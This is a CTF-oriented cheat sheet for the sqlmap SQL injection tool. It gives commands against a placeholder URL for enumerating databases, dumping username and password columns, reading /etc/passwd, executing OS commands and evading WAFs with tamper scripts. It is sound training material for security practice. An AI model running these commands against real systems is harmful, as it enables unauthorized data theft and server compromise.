SQLNAP CookBook
The SQLMap Masterclass: Conquer SQL Injection Vulnerabilities
SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It's a must-have for any CTF player. This manual will guide you through SQLMap's capabilities, from basic usage to advanced techniques.
I. Core Concepts:
SQL Injection: A vulnerability that allows attackers to inject malicious SQL code into a web application, potentially gaining access to the database.
Target: The URL or web application endpoint that you want to test for SQL injection.
Database Management System (DBMS): The type of database used by the web application (e.g., MySQL, PostgreSQL, Microsoft SQL Server).
Authentication: Credentials needed to access the database.
Data Retrieval: Extracting data from the database.
II. Basic Usage:
Basic URL Test:
sqlmap -u "http://example.com/page.php?id=1"Tests the URL for SQL injection vulnerabilities.
Specifying the DBMS:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysqlSpecifies that the DBMS is MySQL (useful if automatic detection fails).
Listing Databases:
sqlmap -u "http://example.com/page.php?id=1" --dbsEnumerates the databases.
Listing Tables:
sqlmap -u "http://example.com/page.php?id=1" -D "database_name" --tablesEnumerates the tables in the specified database.
Listing Columns:
sqlmap -u "http://example.com/page.php?id=1" -D "database_name" -T "table_name" --columnsEnumerates the columns in the specified table.
Dumping Data:
sqlmap -u "http://example.com/page.php?id=1" -D "database_name" -T "table_name" -C "column1,column2" --dumpDumps the data from the specified columns.
III. Advanced Options:
Setting the HTTP Method:
sqlmap -u "http://example.com/page.php" --method=POST --data="id=1"Specifies the HTTP method (e.g., POST) and data.
Using a Proxy:
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"Setting the User-Agent:
sqlmap -u "http://example.com/page.php?id=1" --user-agent="My-Custom-Agent"Handling Cookies:
sqlmap -u "http://example.com/page.php?id=1" --cookie="cookie1=value1; cookie2=value2"Authentication:
sqlmap -u "http://example.com/page.php?id=1" --auth-type=basic --auth-cred="user:password"Time-Based Blind Injection:
sqlmap -u "http://example.com/page.php?id=1" --time-sec=5Specifies a time delay for blind injection.
Boolean-Based Blind Injection:
sqlmap -u "http://example.com/page.php?id=1" --technique=BUnion Query Injection:
sqlmap -u "http://example.com/page.php?id=1" --technique=UStacked Queries:
sqlmap -u "http://example.com/page.php?id=1" --sql-query="SELECT @@version"File System Access:
sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"Reads a file from the server's file system (if the database user has privileges).
Operating System Command Execution:
sqlmap -u "http://example.com/page.php?id=1" --os-cmdExecutes operating system commands (if the database user has privileges).
Tamper Scripts:
sqlmap -u "http://example.com/page.php?id=1" --tamper=apostrophemask,randomcaseUses tamper scripts to bypass web application firewalls (WAFs).
IV. Common Scenarios and Examples:
Blind SQL Injection:
sqlmap -u "http://example.com/page.php?id=1" --technique=B --dbs # Boolean-based blind injection sqlmap -u "http://example.com/page.php?id=1" --technique=T --dbs # Time-based blind injectionUnion-Based SQL Injection:
sqlmap -u "http://example.com/page.php?id=1" --technique=U --dbsError-Based SQL Injection:
sqlmap -u "http://example.com/page.php?id=1" --technique=E --dbsExtracting Data from a Specific Table:
sqlmap -u "http://example.com/page.php?id=1" -D "database_name" -T "users" -C "username,password" --dumpBypassing WAFs:
sqlmap -u "http://example.com/page.php?id=1" --tamper=apostrophemask,randomcase --dbs
V. Tips for CTFs:
Be Patient: SQLMap can take time, especially for blind injection.
Use the Right Technique: Choose the appropriate injection technique (B, T, U, E, etc.) based on the application's behavior.
Try Different Tamper Scripts: WAFs can be tricky. Experiment with different tamper scripts to find one that works.
Read the Documentation: SQLMap has a lot of options. Refer to the documentation (
sqlmap -horsqlmap --help) for more details.Combine with Other Tools: Use SQLMap in conjunction with other tools like Burp Suite for a more comprehensive approach.
Practice: The more you use SQLMap, the more comfortable you'll become with its features.
Last updated
Was this helpful?